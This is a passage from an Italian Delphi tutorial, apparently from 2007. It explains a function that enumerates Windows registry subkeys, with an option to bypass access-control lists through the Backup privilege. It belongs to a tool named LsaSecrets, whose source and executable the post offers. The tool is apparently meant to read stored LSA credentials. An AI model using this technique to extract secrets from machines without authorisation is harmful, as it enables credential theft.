HKEY_LOCAL_MACHINE,
KeyName,
0,
nil,
REG_OPTION_BACKUP_RESTORE,
0,
nil,
hKey,
Disposition)
<> 0 then
begin
ErrStr('RegCreateKeyEx');
Exit;
end;
end;
if (RegQueryInfoKeyA(
hKey,
nil,
nil,
nil,
@NumSubKeys,
nil,
nil,
nil,
nil,
nil,
nil,
nil
) <> 0) then
begin
ErrStr('RegQueryInfoKeyA');
Exit;
end;
for i := 0 to NumSubKeys - 1 do
begin
SubKeyNameSize := 255;
RegEnumKeyExA(
hKey,
i,
@SubKeyName[1],
@SubKeyNameSize,
nil,
nil,
nil,
nil
);
Elenco.Add(SubKeyName);
end;
finally
if hKey <> 0 then
RegCloseKey(hKey);
end;
end;
Come si può notare ho cambiato nome alla funzione: non più GetKeyNames ma RegEnumSubKeys, senza un motivo in particolare più che altro per evitare confusione, in soldoni comunque fa lo stesso sporco lavoro che fa la GetKeyNames. Analizziamo ora i parametri - RootHandle[input]: Handle alla chiave di base; ad esempio nel nostro caso metteremo HKEY_LOCAL_MACHINE che corrisponde al valore $80000002. Nella GetKeyNames definita in precedenza non c'era questo parametro perchè partivamo dal presupposto che la root fosse appunto la HKEY_LOCAL_MACHINE; per generalizzare ulteriormente la questione ho deciso di aggiungerlo in questa nuova implementazione
- KeyName[input]: Behh... il nome della chiave di registro con percorso completo relativo alla root
- BypassACL[input]: valore booleano che mi consente di specificare se voglio bypassare le ACL e quindi provare ad abilitare il Privilegio di Backup e poi chiamare RegCreateKeyEx con il 5° parametro settato a REG_OPTION_BACKUP_RESTORE, oppure affidarmi all'approccio classico chiamando semplicemente RegOpenKeyEx con il 6° parametro settato a KEY_READ (valore $20019)
- Elenco[output]: elenco dei nomi.
Di seguito sorgenti ed eseguibile di questa nuova versione del programma LsaSecrets2.7z (VCL e KOL) LsaSecrets2.exe.7z (relativo alla versione KOL) Data ultimo aggiornamento: 09/09/2007 (aggiunta nuova implementazione)
|